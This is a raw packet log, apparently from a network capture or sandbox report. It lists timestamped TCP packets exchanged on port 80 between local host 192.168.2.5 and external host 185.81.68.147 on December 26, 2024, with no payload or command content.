Dec 26, 2024 12:05:07.652252913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.652291059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.652335882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.653279066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.653331041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.653630972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.653686047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.654252052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.654313087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.654351950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.654398918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.655440092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.655484915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.655550003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.655594110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.656318903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.656366110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.656402111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.656444073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.657320976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.657367945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.657423019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.657468081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.658351898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.658422947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.658430099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.658472061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.659406900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.659467936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.659499884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.659543991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.660403967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.660518885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.660573006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.660672903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.661412954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.661461115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.661547899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.661655903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.662461042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.662507057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.662666082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.662710905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.663486958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.663547993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.663609028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.664715052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.664794922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.664824009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.664850950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.665532112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.665644884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.665654898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.665771008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.666577101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.666621923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.666699886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.666742086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.667550087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.667602062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.667742968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.667794943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.668621063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.668668032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.668767929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.668838024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.669635057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.669691086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.669763088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.669806957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.670644045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.670691013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.827877045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.827917099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.828022003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.828282118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.828332901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.828335047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.828378916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.829279900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.829334021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.829430103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.829472065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.830307007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.830352068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.830416918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.830460072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.831374884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.831418991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.831507921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.831549883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.832357883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.832407951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.832506895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.832550049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.833350897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.833400965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.833487034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.833527088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.834405899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.834451914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.834494114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.834533930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.835414886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.835459948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.835562944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.835603952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.836446047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.836493015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.836625099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.836671114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.837450027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.837507963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.837574959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.837619066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.838531017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.838545084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.838572979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.838589907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.839536905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.839582920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.839586973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.839636087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.840617895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.840656996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.840770006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.840822935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.841809988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.841861963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.841872931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.841918945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.842731953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.842777967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.842838049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.842879057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.843646049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.843699932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.843708038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.843755007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.844680071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.844737053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.844774961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.844825029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.845669985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.845720053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.845784903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.845827103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.846697092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.846745968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.846834898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.846883059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.847807884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.847850084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.847867012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.847892046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.848771095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.848819017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.848886013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.848925114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.849911928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.849955082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.850070000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.850117922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.850794077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.850837946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.850883007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.850928068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.851840019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.851883888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.851916075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.851957083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.852852106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.852894068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.852992058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.853033066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.853864908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.853909969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.853991032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.854029894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.854873896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.854918003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.855005026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.855047941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.855966091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.856021881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.856115103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.856158972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.856935978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.856980085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.857045889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.857084990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.857965946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.858012915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.858066082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.858103991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.858979940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.859033108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.859086990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.859141111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.860055923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.860102892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.860225916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.860268116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.861126900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.861145973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.861174107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.861202955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.862154961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.862202883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.862240076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.862282038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.863214016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.863260031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.863270044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.863306046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.864509106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.864551067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.864557028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.864598989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.865232944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.865273952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.865362883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.865401983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.866224051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.866264105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.866295099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.866336107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.867211103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.867250919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.867295027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.867328882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.868210077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.868252039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.868313074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.868355989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.869303942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.869339943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.869414091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.869452953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.870263100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.870309114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.870378017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.870414019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.871284962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.871330023 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.871344090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.871382952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.872411013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.872467995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.872486115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.872524977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.873383045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.873425007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.873605967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.873651981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.874355078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.874396086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.874560118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.874599934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.875422955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.875466108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.875708103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.875749111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.876560926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.876605034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.876635075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.876672983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.877628088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.877671957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.877756119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.877800941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.878981113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.879040956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.879045963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.879080057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.880018950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.880072117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.880100965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.880137920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.881016016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.881064892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.881194115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.881239891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.881863117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.881912947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.038465023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.038480043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.038513899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.038537025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.038620949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.038666010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.038670063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.038707972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.039674044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.039726973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.039834976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.039877892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.040572882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.040616989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.040685892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.040728092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.041702032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.041739941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.041827917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.041876078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.042649031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.042695999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.042779922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.042819977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.043693066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.043735981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.043777943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.043829918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.044687986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.044734001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.044900894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.044948101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.045768023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.045809984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.045838118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.045875072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.046745062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.046797037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.046880007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.046930075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.047774076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.047816992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.047852993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.047893047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.048878908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.048950911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.048952103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.048996925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.049864054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.049899101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.049971104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.050010920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.050848007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:08.050896883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:08.050992966 CET	80	49708	185.81.68.147	192.168.2.5
